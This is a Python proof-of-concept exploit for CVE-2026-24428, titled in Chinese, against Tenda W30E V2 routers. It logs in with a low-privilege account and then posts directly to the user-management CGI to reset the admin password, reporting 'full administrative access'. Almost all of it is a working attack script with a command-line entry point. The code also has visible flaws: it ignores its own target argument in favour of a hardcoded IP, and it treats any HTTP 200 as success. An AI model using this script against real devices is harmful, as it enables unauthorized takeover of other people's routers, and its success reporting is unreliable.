CVE-2026-24428: Tenda W30E V2 授权绕过导致管理员密码修改漏洞

import requests # CVE-2026-24428 PoC - Tenda W30E V2 Authorization Bypass # Target: Tenda W30E V2 router with firmware <= V16.01.0.19(5037) TARGET_IP = "192.168.0.1" LOGIN_URL = f"http://{TARGET_IP}/login.cgi" PASSWORD_CHANGE_URL = f"http://{TARGET_IP}/cgi-bin/user_mng.cgi" def exploit_cve_2026_24428(target_ip, low_priv_user, low_priv_pass, target_user="admin", new_password="Pwned123456"): """ Exploit for CVE-2026-24428: Tenda W30E V2 incorrect authorization Allows low-privileged authenticated user to change admin password """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { "username": low_priv_user, "password": low_priv_pass } login_response = session.post(LOGIN_URL, data=login_data) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Bypass authorization and change admin password # This direct API call bypasses web interface RBAC checks exploit_data = { "username": target_user, "password": new_password, "cur_password": "", # Not validated server-side "group": "admin" } exploit_response = session.post(PASSWORD_CHANGE_URL, data=exploit_data) if "success" in exploit_response.text.lower() or exploit_response.status_code == 200: print(f"[+] Successfully changed {target_user} password to: {new_password}") print("[+] Full administrative access obtained!") return True else: print(f"[-] Exploit failed. Response: {exploit_response.text}") return False if __name__ == "__main__": import sys if len(sys.argv) < 4: print("Usage: python cve_2026_24428.py <target_ip> <low_priv_user> <low_priv_pass>") sys.exit(1) exploit_cve_2026_24428(sys.argv[1], sys.argv[2], sys.argv[3])